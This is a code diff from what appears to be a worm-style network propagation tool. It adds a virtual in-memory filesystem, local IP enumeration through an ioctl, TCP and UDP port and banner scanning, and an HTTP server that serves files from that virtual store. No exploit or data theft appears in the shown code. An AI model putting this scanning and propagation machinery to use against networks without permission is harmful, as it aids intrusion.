def isfile(path):
|
||||
return VirtualFile._vfs.has_key(path)
|
||||
|
||||
def getsize(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.getsize(path)
|
||||
else:
|
||||
return os.stat(path).st_size
|
||||
|
||||
def isfile(path):
|
||||
if path.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile.isfile(path)
|
||||
else:
|
||||
return os.path.isfile(path)
|
||||
|
||||
def virtual_path(name):
|
||||
return "%s%s" % (MONKEYFS_PREFIX, name)
|
||||
|
||||
def open(name, mode='r', buffering=-1):
|
||||
#use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
|
||||
if name.startswith(MONKEYFS_PREFIX):
|
||||
return VirtualFile(name, mode, buffering)
|
||||
else:
|
||||
return open(name, mode=mode, buffering=buffering)
|
|
@ -0,0 +1,42 @@
|
|||
import sys
|
||||
import socket
|
||||
import struct
|
||||
import array
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
if sys.platform == "win32":
|
||||
def local_ips():
|
||||
local_hostname = socket.gethostname()
|
||||
return socket.gethostbyname_ex(local_hostname)[2]
|
||||
|
||||
else:
|
||||
import fcntl
|
||||
def local_ips():
|
||||
result = []
|
||||
try:
|
||||
is_64bits = sys.maxsize > 2**32
|
||||
struct_size = 40 if is_64bits else 32
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
max_possible = 8 # initial value
|
||||
while True:
|
||||
bytes = max_possible * struct_size
|
||||
names = array.array('B', '\0' * bytes)
|
||||
outbytes = struct.unpack('iL', fcntl.ioctl(
|
||||
s.fileno(),
|
||||
0x8912, # SIOCGIFCONF
|
||||
struct.pack('iL', bytes, names.buffer_info()[0])
|
||||
))[0]
|
||||
if outbytes == bytes:
|
||||
max_possible *= 2
|
||||
else:
|
||||
break
|
||||
namestr = names.tostring()
|
||||
|
||||
for i in range(0, outbytes, struct_size):
|
||||
addr = socket.inet_ntoa(namestr[i+20:i+24])
|
||||
if not addr.startswith('127'):
|
||||
result.append(addr)
|
||||
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
|
||||
finally:
|
||||
return result
|
|
@ -4,6 +4,7 @@ import socket
|
|||
import logging
|
||||
from network import HostScanner
|
||||
from config import WormConfiguration
|
||||
from info import local_ips
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
|
@ -18,8 +19,7 @@ class NetworkScanner(object):
|
|||
|
||||
def initialize(self):
|
||||
# get local ip addresses
|
||||
local_hostname = socket.gethostname()
|
||||
self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2]
|
||||
self._ip_addresses = local_ips()
|
||||
|
||||
if not self._ip_addresses:
|
||||
raise Exception("Cannot find local IP address for the machine")
|
||||
|
|
|
@ -0,0 +1,44 @@
|
|||
import socket
|
||||
import select
|
||||
|
||||
DEFAULT_TIMEOUT = 30
|
||||
BANNER_READ = 1024
|
||||
|
||||
def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(timeout)
|
||||
|
||||
try:
|
||||
sock.connect((ip, port))
|
||||
except socket.error:
|
||||
return (False, None)
|
||||
|
||||
banner = None
|
||||
|
||||
try:
|
||||
if get_banner:
|
||||
read_ready, _, _ = select.select([sock], [], [], timeout)
|
||||
if len(read_ready) > 0:
|
||||
banner = sock.recv(BANNER_READ)
|
||||
except:
|
||||
pass
|
||||
|
||||
sock.close()
|
||||
return (True, banner)
|
||||
|
||||
def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT):
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(timeout)
|
||||
|
||||
data = None
|
||||
is_open = False
|
||||
|
||||
try:
|
||||
sock.sendto("-", (ip, port))
|
||||
data, _ = sock.recvfrom(BANNER_READ)
|
||||
is_open = True
|
||||
except:
|
||||
pass
|
||||
sock.close()
|
||||
|
||||
return (is_open, data)
|
|
@ -1,6 +1,7 @@
|
|||
import urllib, BaseHTTPServer, threading, os.path
|
||||
import shutil
|
||||
import struct
|
||||
import monkeyfs
|
||||
from logging import getLogger
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
@ -39,7 +40,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
total += chunk
|
||||
start_range += chunk
|
||||
|
||||
if f.tell() == os.fstat(f.fileno()).st_size:
|
||||
if f.tell() == monkeyfs.getsize(self.filename):
|
||||
self.report_download()
|
||||
|
||||
f.close()
|
||||
|
@ -56,10 +57,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
return
|
||||
f = None
|
||||
try:
|
||||
# Always read in binary mode. Opening files in text mode may cause
|
||||
# newline translations, making the actual size of the content
|
||||
# transmitted *less* than the content-length!
|
||||
f = open(self.filename, 'rb')
|
||||
f = monkeyfs.open(self.filename, 'rb')
|
||||
except IOError:
|
||||
self.send_error(404, "File not found")
|
||||
return (None, 0, 0)
|
||||
|
|
Loading…
Reference in New Issue